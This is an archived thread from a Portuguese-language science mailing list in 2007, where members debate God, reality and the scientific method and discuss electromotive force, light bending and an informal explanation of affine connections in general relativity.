Minha maior dúvida é: o que você e outros, que parecem ver a ciência com
certo descrédito e parecem defender esse viés místico da tal "Sabedoria",
estão fazendo em uma lista de discussão sobre ciência?

Acho que contestar conteúdo científico (ou o místico), com argumentos
objetivos está dentro do escopo, mas contestar conteúdo científico,
objetivo, com argumentos místicos soa um pouco deslocado em nossas
discussões. Fora de contexto. Aparentemente off-topic.

Mais uma vez, apenas uma opinião pessoal, que não tem nenhum teor pessoal.

Grande abraço,

Ricardo



----- Original Message -----
From: "José Renato" <jrma@terra.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, March 21, 2007 11:29 PM
Subject: Re: [ciencialist] Re: Sobre o Método Cientifico - ad infinitum


> Takata: [ O q estou falando é q: toda vez q meteram deus no meio da
> ciência
> a coisa emperrou, a ciência só tem andado se não enfiarem deus no meio da
> história (ou em qq outra parte). ]
> ............................
> José Renato comenta: A busca da verdade ou da real realidade que
> conseguimos
> perceber, sempre foi feita pelos mais sábios e conscientes. Depois que o
> conhecimento passou a ser considerado somente utilitarista, a Ciência
> deixou
> de lado o desafio permanente de alcançar a Realidade e passou a produzir
> novidades para comercializar. A Sabedoria não é bem vinda a esse tipo de
> ciência, que se basta sendo útil aos consumidores e em desenvolver e
> aplicar
> tecnologias de poder...
> É mais rentável e o novo consumidor não quer nem saber porque essas
> tecnologias são possíveis.
> []s
> JR
> .............................
> From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, March 19, 2007 4:06 PM
> Subject: [ciencialist] Re: Sobre o Método Cientifico - ad infinitum
>



SUBJECT: Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/03/2007 17:10

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Pode chamar de realidade, sem problema, "chame do que quiser" só
> não fique preso a esta semantica também. Use as semanticas, não
> deixe elas te usarem.

Não é questão de ficar preso à semântica. Como o Homero argumentou,
palavras têm significado. Não convém ficar mudando o significado delas
a torto e a direito. Se por exemplo, eu mudar o significado de "preso"
para livre, a sua frase ficaria: "só não fique livre desta semântica"
- o q seria exatamente o oposto do q vc deve ter pretendido querer dizer.

Ou se chamarmos um pedaço de madeira de mais ou menos 5 cm usado para
retirar resíduos presos entre os dentes de deus, chamaremos palitos de
dentes de deus e provaremos q deus existe. Só teremos q nos lembrar q
esse deus é um palito de dentes e não um ser transcendente.

Esse uso é possível, mas pouco prático. Serviria apenas para complicar
a comunicação.

A propriedade dessa realidade é material. Vc parece disposto a aceitar
chamar seu deus de realidade (ou deus-realidade), mas não parece
disposto a conferir a esse deus um caráter material. Logo, tenderá a
haver problemas no seu uso da expressão.

> Takata >>> Colocar a palavra deus na frente não traz
> nenhuma informação.
>
> --- Mais ou menos, é um recurso semantico que espanta
> o materialismo que os cientistas colocam na ciencia. A
> vezes até demais. hehehehe...

Como dito, não traz nenhuma informação.

> --- Discordo. O problema não foi meter deus na
> ciencia, foi meter um "dogma de deus", o que é bem
> diferente. Deus não é dogma, assim como realidade
> também não é.

Foi meter deus no meio da ciência. Lembre-se de q o vc chama de deus é
apenas um mapa mental.

> Takata >>> Fazer ciência de modo bem resumido é
> produzir conhecimento...
>
> --- E o que é conhecimento? E o que é produzir
> conhecimento? Percebe como o cientista ignora a base
> da ciencia? Ignora porque isto implica em
> não-materialismo.

Conhecimento é o entendimento a cerca das coisas q estão à nossa
volta, do mundo. De modo mais preciso, mas mais abstrato, conhecimento
é o conjunto de informações a respeito de um sistema - e informação é
um dado q diminui o nosso grau de incerteza a respeito desse sistema.

> Takata >>> Vc pulou pelo menos uma parte. Antes vc
> precisa mostrar q isso é apenas um mapa mental.
>
> --- Ué, isto que vc me disse não é um produto do seu
> pensamento? Ou vc é capaz de conhecer e transmitir o
> que conhece sem pensar?

Lamento, mas isso não mostra q seja apenas um mapa mental. No dia em q
vc conseguir sobreviver apenas *pensando* em comida, acreditarei q é
apenas um mapa mental.

[]s,

Roberto Takata



SUBJECT: OT - Fisica
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/03/2007 17:41

Olá pessoal,

que tal usarmos daqui prá frente o OT para falar de Ciência e em particular de Física?

No andar da carruagem observem que o Ferrari tumultuou tanto o C-List como o Bradock (e variantes) o fez. Observe que é da mesma espécie; responder perguntas com perguntas e ... nunca diz nada. Acredito que o que ele quer é aprender na base do espertalhão. Veja um simples exemplo:

> Takata >>> Fazer ciência de modo bem resumido é
> produzir conhecimento...
>
> --- E o que é conhecimento? E o que é produzir
> conhecimento? Percebe como o cientista ignora a base
> da ciencia? Ignora porque isto implica em
> não-materialismo.

E o Roberto, pacientemente, responde cada uma delas. Mas, é claro que o cidadão vai fazer mais 10 perguntas sobre as respostas do Takata.

Assim sendo, Ciência vai virar OT e, aproveitando esse OT científico apreciaria comentários sobre o conceito de f.e.m. (força eletromotriz) no caso geral, ou seja, para os diversos geradores lineares (eletromecânicos, eletroquímicos, piezelétricos, termelétricos etc.) o que é o "E" na expressão U = E - r.i ?

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: Re: [ciencialist] Re: Papai Noel: Sobre o Método Cientifico - adinfinitum
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/03/2007 17:53

Olá Renato e Ferrari (que dupla..:-)

Renato: "Quando é que vc vai entender
que o Papai Noel existe? As crianças sabem disso...
Muitos adultos sabem disso... Afinal, quem é que lhes
dá presentes no Natal? Vou repetir: o que não existe é
o Papai Noel que vc imaginou quando criança. "

Ferrari: "Ei homero, tá aqui um exemplo de inteligencia que não
se prender a semantica."

Quase me arrependo de tentar, pois a conversa ficou compeltamente sem sentido, absurda e incorreta. mas quem sabe, alguma luz acaba entrando nessas mentes..:-)

Papai Noel não existe. Não existe, não tem evidências de existir. Pais e mães que dão presentes NÃO são Papai Noel, que tem definição e propriedades precisas. Não pode substituir um termo por outro, e achar que faz sentido, Renato e Ferrari. Papai Noel não tem evidências de existir, assim como o Pé Grande. Se descobrir que um gorila que escapou do circo foi confundido com um Pé Grande, NÃO pode alegar que Pé Grande existe, por aproximação.

Putz, iso é tão absurdo, que dói..:-)

Ferrari, chamar a realidade de deus ou deus de realidade é irracional. É irracional por definição, pois esperamos reagir a partir de desdobramentos das propriedades de cada objeto definido. Vou tentar, mais uma vez, explicar, prestem atenção.

Uma pedra tem definição precisa, para que possamos agir em relação a ela com certa segurança e previsibilidade. Se digo, "cuidado, uma pedra vai cair em sua cabeça, você PRECISA saber do que estou falando, para agir. Se eu disser, "cuidado uma pedra vai cair em sua cabeça", mas na verdade estou usando as propriedades que definem uma pena de pardal, sua reação deve ser diferente daquela que teria, se eu usasse o termo 'pedra" de acordo com sua definição.

Se entenderam isso, vamos prosseguir. A realidade, da maneira como definida pelo Takata, é uma coisa, com propriedades bem definidas. Deus, da forma como definido pelos que acreditam em deus, também tem propriedades bem definidas. Trocar esses dois termos, alegando que é uma questão "de semantica" é mais que ilógico, é tolo. Reagimos a realidade de uma forma completamente diferente da que reagimos a divindades, devido a suas propriedades e características específicas.

Divindades tem inteligência, intenção, desejos, preocupações, etc. São entidades pessoais, que querem ou deixam de querer, que agem INTENCIONALMENTE. Já a realidade não tem nenhuma dessas caracteristicas, e uma pedra é real, mas quando cai em sua cabeça, não tem NENHUMA intenção de faze-lo.

Defina Papai Noel, e eu demonstro que este não tem evidências de existir. Defina pedra, e eu demonstro que tem evidências de existir. Ou melhor, existem objetos que se encaixam nesta definição, pedra. Papai Noel visita crianças, todas, na noite de Natal. Essa é uma propriedade definidora de Papai Noel. Se não demonstrar que existe tal pessoa, que apresente essa propriedade, não poderá afirmar que Papai Noel existe.

É até bem simples, se pararem, os dois, de dizer maluquices e se focarem em um debate minimamente racional.

Tente, Ferrari, diga qual é "sua" definição de deus, e verá que não vai fazer sentido. Uma força não intencional, não é deus, por definição, pois não tem nenhuma propriedade definidora nesse sentido. Seria o mesmo que orar pela eletricidade, para que não nos fulmine com um raio..:-)

Ferrari: "Homero, quantas vezes vou ter que te dizer que
semantica é logica são coisas distintas e que vc não é
obrigado a se prender a semantica nenhuma? Semantica
são ferramentas de comunicação. "

Você não faz a menor idéia do que está dizendo..:-) Não sabe nem o que é semantica, muito menos o que é lógica. Nem, aparentemente, comunicação.

Como disse antes, seu discurso "sem semantica" e a conversa sem sentido de um esquizofrenico, que "pensa" estar revelando verdades fantásticas, são identicos: ambos não fazem idéia do que dizem, nem os que os ouvem. Porque, ao deixar a "semantica" e a lógica de lado, acabam em uma confusão de termos e conceitos que nada significa: deus é tudo, tudo é deus, nada é tudo, deus é nada, quem nada é peixe, deus é peixe, peixes tem espinhas, deus tem espinhas, espinhas são deus, ad infinitum.

E antes de dizer que "não faz sentido", por favor, deixe a semantica de lado, não se deixe "usar por ela", tente entender a maravilha do que eu disse, etc..:-)

Ferrari, deve ter "escutado" o galo cantar e não sabe onde, e pensa que ignorar semantica é uma forma leg[itima e razoável de tentar se comunicar, de forma que quem escuta interprete o que desejar. Bem, não é. Semantica trata de significados, e estes são fundamentais para a comunicação. Sem eles, nada faz sentido (como suas frases). Deo derete nadert feoitrenas hdeiurede kdaopoer, enerp atrure. Entendeu?

Não? Ora, deixe a semantica de lado e se atenha ao que eu quis dizer, ora bolas..:-) Se não conseguir, talvez comece a comprender seu, profundo, problema com estas questões. Sem um significado bem defindio, as "palavras" que construi não valem nada.

Um abraço.

Homero








----- Original Message -----
From: Ferrari
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, March 22, 2007 4:14 PM
Subject: [ciencialist] Re: Papai Noel: Sobre o Método Cientifico - adinfinitum


José renato >>> Homero! Quando é que vc vai entender
que o Papai Noel existe? As crianças sabem disso...
Muitos adultos sabem disso... Afinal, quem é que lhes
dá presentes no Natal? Vou repetir: o que não existe é
o Papai Noel que vc imaginou quando criança.

Ei homero, tá aqui um exemplo de inteligencia que não
se prender a semantica.

Parabéns JR!

sinceramente
papai noel

--- José Renato <jrma@terra.com.br> escreveu:

> Homero; [ Da mesma forma como "pode ser que exista"
> Papai Noel, mas devido a
> falta de evidências dessa existência justifica que
> nos comportemos "como se
> não existisse" Papai Noel, também podemos nos
> comportar como se deus não
> existisse, em especial em ciência ou fazendo
> ciência. ]
>
...........................................................
>
> Olá, Homero! Quando é que vc vai entender que o
> Papai Noel existe? As
> crianças sabem disso... Muitos adultos sabem
> disso... Afinal, quem é que
> lhes dá presentes no Natal?
> Vou repetir: o que não existe é o Papai Noel que vc
> imaginou quando criança.
> O que existe são papais-noéis e mamães-noéis com a
> cara do papai e da mamãe,
> tios e tias-noéis, amigo-noel, esposo e
> esposa-noéis... Esses existem e
> fazem a festa dos comerciantes no Natal. Perceba que
> o imaginado geralmente
> não corresponde à realidade ou nem tem existência
> física...
> O que é preciso fazer é adequar o nome à pessoa ou
> ao objeto da nossa
> imaginação.
> []s
> José Renato
> ................................
>
> From: "oraculo333" <oraculo@To:
> <ciencialist@yahoogrupos.com.br>
> Sent: Wednesday, March 21, 2007 9:43 PM
> Subject: [ciencialist] P/ Alvaro - : Sobre o Método
> Cientifico - adinfinitum
>
>
> Olá Alvaro
>
> Alvaro: "Em minha opinião, a melhor resposta de um
> cientista ou
> simpatizante, quando questionado sobre a existência
> de deus, é a
> seguinte: "Nunca vi evidência da existência nem da
> não-existência de
> deus, portando NÃO TENHO CONDIÇÕES DE AFIRMAR SE
> EXISTE OU NÃO.""
>
> Se tiver a bondade de reler as respostas que temos
> postado ao Ferrari,
> vai perceber que EM TODAS ELAS é justamente isso que
> é defendido, que
> não há evidências que suportem essa alegação de
> existência..:-)
>
> Não temos evidências de existência de seres
> sobrenaturais ou divinos.
> Pode ser que existam? Tudo pode ser que exista, mas,
> nem tudo tem a
> mesma probabilidade de existir.
>
> Da mesma forma como "pode ser que exista" Papai
> Noel, mas devido a
> falta de evidências dessa existência justifica que
> nos comportemos
> "como se não existisse" Papai Noel, também podemos
> nos comportar como
> se deus não existisse, em especial em ciência ou
> fazendo ciência.
>
> Note que são os que crêem na divindade de sua
> preferência que afirma,
> com todas as letras "saber" que ele existe, como
> pensa, o que deseja,
> etc. A ciência, e nós na lista, alegamos apenas que
> não é uma
> conclusão válida, baseada em evidências. Acredita
> quem quer, seja em
> deuses, seja no Papai Noel, ou em duendes.
>
> Como tentamos explicar ao Ferrari, a falta de
> evidências que permita
> uma explicação científica NÃO significa que se possa
> adotar outra
> explicação qualquer, igualmente sem evidências.
>
> Com certeza, Alvaro, muitas coisas podem existir sem
> que "caibam em
> nossa cabeça", mas justamente por isso é preciso
> cuidado e rigor ao
> analisar e concluir: como separar algo que não cabe
> em nossa cabeça,
> mas não existe, de algo que não cabe em nossa
> cabeça, mas existe?
>
> Elementos e fenômenos que não apresentam evidências
> de existir não
> podem, nem devem, ser levados em consideração nas
> escolhas, atos e
> desdobramentos, por uma questão de racionalidade e
> confiabilidade.
>
> Alvaro: "Qualquer afirmação tomada por verdadeira
> supõe que sua
> negativa é falsa."
>
> É uma regra de lógica que um argumento não pode ser
> contraditório, ou
> seja, não pode conter premissas ou conclusões
> conflitantes. Mas isso
> não significa o que parece pensar, pela frase acima.
> Acreditar que
> deus existe, claro, significa não acreditar que deus
> NÃO existe, mas
> não ver evidências dessa existência não é o mesmo
> que acreditar que
> deus não existe.
>
> É apenas ter como irrelevante essa existência, já
> que não pode ser
> detectada ou analisada (e, portanto, não se pode
> decidir o que essa
> entidade deseja ou pretende). Como disse o saudoso
> Carl Sagan, qual a
> diferença entre um dragão invisível que cospe fogo
> frio e é
> indetectável de toda forma conhecida, e NENHUM
> dragão?
>
> Alvaro: "O problema é que com essa resposta não
> teríamos discussões
> interessantes como essa que tenho acompanhado."
>
> Está enganado, não é esse o problema, como as
> mensagens anteriores
> mostram. O problema é que esta resposta NÃO satisfaz
> os que crêem, que
> acreditam que existe uma divindade. Por isso
> preferem opor sua crença
> a uma pretensa "crença inversa", na inexistência de
> divindades.
>
> Alvaro: "mas não acredito que a ciência, por ser
> produto de nossas
> mentes, possa decidir sobre existência ou não de um
> deus ou como
> quiserem chamá-lo."
>
> Não há essa pretensão, pela ciência, de provar que
> deus não existe,
> nem que existe. A própria definição de deus o coloca
> fora do alcance e
> escopo da ciência.
>
> Mas esta pode, e deve, analisar qualquer evidência
> material, concreta,
> que seja apresentada para demonstrar essa
> existência. E pode concluir,
> como tem concluído, que não há evidências a suportar
> essa alegação.
>
> Um abraço.
>
> Homero
>
>
> --- Em ciencialist@yahoogrupos.com.br, "Álvaro
> Antpack"
> <alvaro_antpack@...> escreveu
> >
> > Senhores,
> >
> > se me permitem um pitaco, depois de muito tempo
> sem participar de
> discussões
> > da lista (4 anos?)...
> >
> > Não sou religioso, mas não acredito que a ciência,
> por ser produto
> de nossas
> > mentes, possa decidir sobre existência ou não de
> um deus ou como
> quiserem
> > chamá-lo.
> >
> > Era uma vez uma bactéria, que tinha ouvido falar
> de um ser
> grandioso, que
> > podia decidir seu futuro, se quisesse (ok,
> bactérias não conversam, nem
> > "ouvem falar", mas tenham paciência com minha
> analogiazinha
> caseira). Mas
> > não acreditava. Não tinha qualquer prova de sua
> existência. Vivia em seu
> > meio, entre outras bactérias, durante sua longa
> existência (algumas
> horas,
> > ou dias, sei lá), e nunca viu nenhuma prova da
> existência do tal
> "humano".
> >
> > Essa bactéria vivia na meleca grudada num pêlo do
> nariz do
> Joãozinho, que
> > foi se lavar no banheiro e lá se foi a bactéria
> pelo ralo da pia.
> Ela nem
> > tomou conhecimento, foi parar no esgoto sem saber,
> onde acabou se
> > reproduzindo através de mitose (se dividiu no meio
> e digamos que
> "morreu").
> >
> > A idéia do tal humano simplesmente não cabia em
> sua "cabeça".
> >
> > Creio que podem, sim, existir coisas que não temos
> condições de
> compreender.
> > Coisas que podem ser muito maiores do que nós, e
> simplesmente não
> caber em
> > nossa cabeça. Tente imaginar o tão comentado
> Universo de 4, 10 ou 11
> > dimensões. Ok, a matemática explica e consegue
> tratar desse assunto, mas
> > quem garante que todos os assuntos podem ser
> tratados matematicamente e
> > fisicamente? Quem sabe podem existir "coisas" que
> não cabem na nossa
> cabeça,
> > nem na da matemática, nem na da física?
> >
> > A ciência pode e deve questionar a existência de
> tudo que não tenha
> > evidência, mas não deve afirmar que tal e tal
> coisa não existe, só
> por falta
> > de evidências. A navalha de Occam pode ser útil,
> mas é só um
> princípio. E
> > será que é aplicável nesse assunto? Afinal,
> estamos aqui,
> discutindo. Viemos
> > de algum lugar. Ok, a vida surgiu a partir de
> reações químicas. E as
> reações
> > vieram de onde? E esse "onde" veio de onde?
> Simplesmente, por mais que
> > avancemos no sentido de entender nossas origens,
> provavelmente jamais
> > chegaremos à causa última de nossa existência.
> >
> > Se viesse alguém nesta lista dizendo que deus não
> existe, deveria ser
> > igualmente questionado. Qualquer afirmação tomada
> por verdadeira
> supõe que
> > sua negativa é falsa. E em qualquer caso o
> cientista deve procurar
> > evidências, testar a tese e tentar fazer previsões
> com ela antes de
> > aceitá-la. Mas CADÊ A EVIDÊNCIA?
> >
> > Em minha opinião, a melhor resposta de um
> cientista ou simpatizante,
> quando
> > questionado sobre a existência de deus, é a
> seguinte: "Nunca vi
> evidência da
> > existência nem da não-existência de deus, portando
> NÃO TENHO
> CONDIÇÕES DE
> > AFIRMAR SE EXISTE OU NÃO." E essa resposta delega
> a decisão somente
> à fé,
> > que em minha opinião nada tem que ver com ciência.
> >
> > O problema é que com essa resposta não teríamos
> discussões interessantes
> > como essa que tenho acompanhado.
> >
> > Abraço...
> >
> > Álvaro
> >
> >
> > [As partes desta mensagem que não continham texto
> foram removidas]
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SUBJECT: Re: [ciencialist] Re: P/ Ferrari - : Sobre o Método Cientifico - adinfinitum
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/03/2007 17:59

Meu amigo Homero:

Favor não maltratar o Ferrari: ele realmente deve ter esquisofrenia, eu também tenho, e é isso que nos pertive a livre expressão inclusive dos sentimentos.
E, por favor, jamais mande alguém pra psicólogo, horoscopistas e assemelhados: gastarão dinheiro e ficarão piores devido à raiva que vão ter em ouvir tantas asnices...
Psicólogo e psicanalista é apenas uma forma legal do 171, se é que me entende.

sds.,
silvio
----- Original Message -----
From: oraculo333
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, March 20, 2007 1:25 PM
Subject: [ciencialist] Re: P/ Ferrari - : Sobre o Método Cientifico - adinfinitum


Olá Ferrari

Bem, eu recomendaria um bom psiquiatra, você está bem perto de uma
crise de esquizofrenia grave..:-) Seu discurso perdeu o rumo, e só
parece fazer sentido para você..:-)

Na verdade, tirando a brincadeira acima, diversos esquizofrenicos tem
"provas" da existência de deus muito parecidas com a sua. Claro que
muitos tem provas da existência de duendes, fadas, seres demoniacos,
ETs, etc, que usam o mesmo "raciocínio", mas isso não deve preocupa-lo.

Ninguém aprende lógica "no berço". O termo define um conjunto de
proposições, uma ferramenta, bem estruturada, e não se confunde com
percepções internas como "eu existo".

Sua noção desse assunto é incorreta, mas tem tanta certeza de suas
"verdades" que torna impossível debater logicamente. Não porque seus
"argumentos" sejam corretos, mas porque nem se parecem com argumentos
minimamente válidos.

Deus, seu deus, ou a divindade que preferir, não tem evidências de
existir. Uma força não intencional, poderosa, NÃO se encaixa no
conceito, qualquer conceito, de deus.

O resto é maluquice, e merece um bom psiquiatra..:-)

Um abraço.

Homero






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Comprovação da teoria de Einstein
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/03/2007 19:54

Lista: Não sei se sou só eu que uso gmail, mas o servidor do Google
tem um recurso ótimo que agrupa as mensagens por tópico, ficando
bastante fácil acompanhar cada Thread sem perder o fio da meada, já
abrindo diretamente nas msgs que faltam ler. Mas cada vez que um
tópico fica se subdividindo, a coisa fica bagunçada de novo, e tenho
que seguir as ramificações abrindo um por um.
Não seria legal se, ao endereçar para uma pessoas especifica as
mensagens, todos colocassem o endereçamento (p/Gil, p/Homero, p/Zeus,
etc) dentro do corpo da mensagem, em vez de no tópico? Só uma sugestão
:) Afinal, todo mundo acaba lendo boa as mensagens "dos outros" mesmo
. Ou, pior, se houver ramificações, e o assunto tiver repetitivo,
alguns podem achar mais pratico deletar as ramificações, talvez
matando boas conversas.

Alberto: Tem como me passar o link do artigo completo de fenomenologia
que vc falou?

Homero: "as equações de Einstein previam que, se fossem corretas, a
luz de uma estrela ao passar ao lado de um corpo massivo como outra
estrela, devido a seu fortíssimo campo gravitacional, apresentaria a
observadores uma "curvatura", pois tenderia a se mover de acordo com o
espaço, em linha reta, e este estaria "curvado".

Pergunta (p/ todos): O efeito detectado não poderia ser o da gravidade
da estrela sobre a trajetória da luz/fótons?


SUBJECT: Fw: [ciencialist] Re: MQ e metodo cientifico
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/03/2007 20:06




Léo: Como se escreve na linguagem dos tensores a grandeza 'velocidade da luz'?


Victor: c=3x10^8 m/s mesmo(considerado que o movimento é no vácuo, na ausência de campos gravitacionais fortes, não os "pebas" daquí da terra!). Um escalar é um tensor de ordem zero, como um vetor é um tensor de ordem 1, ou um 4-vetor é um tensor de ordem 2, só repetindo o que está lá embaxo. (O produto escalar entre dois tensores, que é invariante, caracteriza bem uma grandeza tensorial. Configura-se como outra maneira de definir grandezas do tipo, além do critério da lei de transformação, como descrito no texto)

A resposta está bastante atrasada, mas vai agora, nessa revisão da Cx. de Entrada, com vistas a eliminação de gorduras, que o uol reclama a quantidade. Acho que deixei passar, na ocasião, esse seu retorno.
Não foi, de maneira alguma, descaso, creia.
Depois de tanto tempo, relí o texto e gostei!... Se fosse reescrevê-lo mudaria só algumas notações, (e corrigiria um errinho que ninguém viu!) para melhor adaptar a um e-mail e tornar a leitura menos enfadonha.

Sds,
Victor.
----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, September 26, 2006 5:42 PM
Subject: Re: [ciencialist] Re: MQ e metodo cientifico


Sem perguntas diretas ... mas gostei do texto.
Pergunta indireta:
Como se escreve na linguagem dos tensores a grandeza 'velocidade da luz'?

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "jvictor" <jvoneto@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 25 de setembro de 2006 21:41
Assunto: Re: [ciencialist] Re: MQ e metodo cientifico


Takata,

----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Monday, September 25, 2006 1:58 PM
Subject: [ciencialist] Re: MQ e metodo cientifico


--- Em ciencialist@yahoogrupos.com.br, "Daniel C. Guariento"
> Mais ou menos. Na relatividade geral o conceito de dilatação do
> tempo é um pouco mais complicado, e por isso devem ser tomadas as
> conexões.

Takata: Uma outra questão. A conexão afim seria algum tipo de derivada
de um tensor?

Victor: Lá vai matemática não convencional para leigos e interessados. Solicto que os experts faça correções, se for o caso.
Vou começar do começo, para chegar de maneira simples a esse conceito, conexão afim, e depois dar-lhe o apelido pelo qual é conhecido.
Espero que tenham paciência para ler todo o rosário que vem a seguir. Até para cirticar, seria interessante a leitura de tudo. No mínimo quem ler ficará sabendo
que essa conexão afim não é o bicho matemático que parece. Verá que é um leão falando mansinho!
Imagine um espaço plano.
E como você pode saber que é plano, de um ponto de vista mais técnico, matemático?
Há uma maneira simples. Em termos gerais é assim: tome dois pontos A e B desse espaço. Faça agora o seguinte: No ponto A, fixe um vetor perpendicular à superfície no ponto; no ponto B, faça a mesma coisa: fixe outro, também perpendicular à superfície no ponto B. Agora, com estas duas referências, tome o vetor que fixou em A e o desloque paralelamente a si mesmo até chegar ao ponto B. Neste ponto, compare este vetor A que você transportou paralelamente à direção original no ponto A, com o vetor B que você fixou antes. Se o vetor A, no ponto B, resultar igualzinho(mesma direção e sentido) que o vetor fixado no ponto B, você poderá dizer: o espaço examinado é plano!. E dirá também, com segurança, que a relação entre A e B está clara. Isto define o seu espaço plano.
Bem, e se você comparar o seu vetor A deslocado paralelamente até o ponto B, com o vetor B perpendicular ao plano naquele ponto B e verificar que, enquanto o vetor B olha para a lua, o vetor A olha para marte, então você poderá dizer que o espaço examinado não é plano. Isto é, as direções dos vetores A e B, no ponto B, são diferentes(em sentido e/ou direção). Nesse caso, você poderá, sem medo de ser feliz, decretar: o espaço analisado não é plano. Tem curvatura.
E o tipo de curvatura poderá ser definido pela análise do tipo de relacionamento entre o vetor A e o vetor B, no ponto de interêsse, B. Relacionamento esse que dependerá das características da superfície examinada.
Os vetores A e B, estarão relacionados de alguma forma bem definida, e o objeto matemático que fará a conexão entre um e outro, que ligará um ao outro, poderá ser determinada de maneira exata, como tentarei mostrar na sequência.
Essa conexão, chamada de conexão afim, tem um apelido pomposo: símbolo de Christoffer(que chamarei de SC, para economizar bits), em homenagem ao matemático que primeiro chegou às expressões matemáticas que relacionam o vetor A ao vetor B. Estes elementos matemáticos são bastante complexos, do ponto de vista de cálculo, no sentido de trabalho braçal, operacional, mas têm uma interpretação geométrica bem simples, bem como uma interpretação física de lascar de simples também e...surpreendente! Chegaremos lá. Como comigo é cabelo, barba e bigode, tentarei chegar lá de maneira a não deixar dúvidas e de maneira a desmistificar o conceito. É muitoa pretensão, em considerando o tipo de empreitada. Mas não custa tentar. Afinal, enxerimento ficou prá isso mesmo.

1 - Antes de continuar, devo dizer que a "técnica" do transporte paralelo acima(existem outras, aviso), mostrada de uma maneira bastante simples, simples o suficiente para fazer compreensível o conceito(refinamentos poderão ser vistos depois) constitue um dos procedimentos mais importantes, usado na relatividade geral. Livros da área dedicam em geral mais de uma página cheia de equações envolvendo derivadas parciais, tensores, conceitos diversos, objetivando uma sistematização da coisa. Mas é só espanto. Conceitualmente, contudo, é simples. Sério!

Então já sabemos o que é um transporte paralelo.
2) Então, vejamos como chegar aos tais SC, que fazem a ligação bi-unívoca, linear, entre os vetores em A e B. Aquí, já vemos que: se em B o vetor A lhe é coincidente, o espaço é plano e vetorA = vetorB. Segue-se que o elemento de conexão, SC, deve ser constante. Se o vetorA é diferente de vetorB, segue-se igualmente que SC não deve ser constante. E isto é característico do tipo de curvatura.

3) Infelizmente, é preciso falar em alguma coisa a mais, para sedimentar o mister. Trata-se do conceito de bases. Uma base é um conjunto de vetores linearmente independentes, definida em um espaço vetorial qualquer, a partir da qual você constrói todos outros vetores do espaço considerado. Uma base bem conhecida é aquela que envolve os vetores unitários i, j e k, ortogonais entre si. Qualquer vetor é obtido por alguma combinação desses três. Num espaço plano, pelo próprio conceito de transporte paralelo, encontramos que o sistema (i,j,k) é o mesminho em todos os pontos. Pode-se transportá-lo para onde quiser, ele não muda. Os i, j e k, vetores unitários, mantêm as mesmas direções e sentidos. E permanecem unitários.

Dito isto, compliquemos mais um pouquinho o espaço. Vamos supor um espaço curvo simples, como a superfície de uma esfera. Escolho esta em vista de ser a mais simples, e o que se usa mais, para introduzir essas coisas. Uma superfície cilíndrica, por exemplo, não serviria, pois não é curva. Então fiquemos com a superfície esférica mesmo.

É fácil de ver que, se deslocarmos a origem do triedro formado por (i, j, k) por sobre a superfície da esfera, veremos que, de ponto para ponto em qualquer sentido ou direção, o vetor definido por (i,j,k) variará, bem como cada i, j ou k, que são as compoentes do vetor de base. Os vetores individuais, i, j ou k, mudarão de direção e/ou sentido. Ou seja, dados dois pontos da superfície esférica, A e B,
fixamos o vetor A perpendicularmente superície esférica no ponto A e o vetor B perpendicularmente à superfície esférica no ponto B, ambos definidos em termos de seus vetores de base (i, j, k), também chamada de base natural, e veremos que o vetorA pode fazer tudo no ponto B, menos coincidir com o que está em B. Assim, o vetor A, mudou, variou, enquanto foi deslocado de A para B. A distância entre A e B é arbitrária. Podemos imaginá-la, como convém, infinitesimal, e teríamos um resultado mais geral: o vetor de base natural varia de ponto a ponto numa superfície que não seja plana.
O vetor não tem que ser (i,j,k). É mais apropriado representá-lo por um genérico, que chamaremos de e(i) ( função das coordenadas,) onde i = 1,2 e 3 vai denotar as direções desses vetores e(i) em cada ponto x(k). Espero que este adendo não embanane as coisas.
4) Em resumo, o e(i) no ponto A é diferente de e(i) no ponto B. Ou seja, o vetor de base natural sofre uma variação de(i) ao passar do ponto A, onde era e(i) para o ponto B, onde será e(i) + de(i). O problema é calcular esse de(i) ( d significa uma diferencial total). Encontrando-se algo que dê o valor de de(i), pode-se, usando as propriedades do cálculo, definir todo o espaço em questão, determinar sua curvatura, tudo, enfim. Vamos lá.

5) Aqui vou introduzir um pouquinho de matemática com ingredientes geométricos, mas será tudo muito intuitivo. Não dói.
Num espaço curvo, por exemplo o esférico, os "eixos-coordenados" são, na verdade, curvas coordenadas, chamadas coordenadas curvilíneas, e são simples de serem visualizadas(veja, por exemplo, o capítulo 7, do Análise Vetorial de Murray R.Spiegel, que é simples e bastante direto e intuitivo). Assumo que quem ao menos iniciou um agraduação, e fez a cadeira de Análise Vetorial, conhece esses rudimentos. Pois bem, isto posto, passemos adiante. As curvas, nesse particular exemplo, serão mutuamente ortogonais. Seja um ponto A qualquer, ligado à origem do sistema esférico através do vetor posição R. No ponto B, o novo vetor posição será R + dR, sendo o ponto B especificado pelas coordenadas: B[ x(i) + dx(i), e(i) + de(i) ], pois em A é A[ x(i), e(i) ]. É fácil perceber que
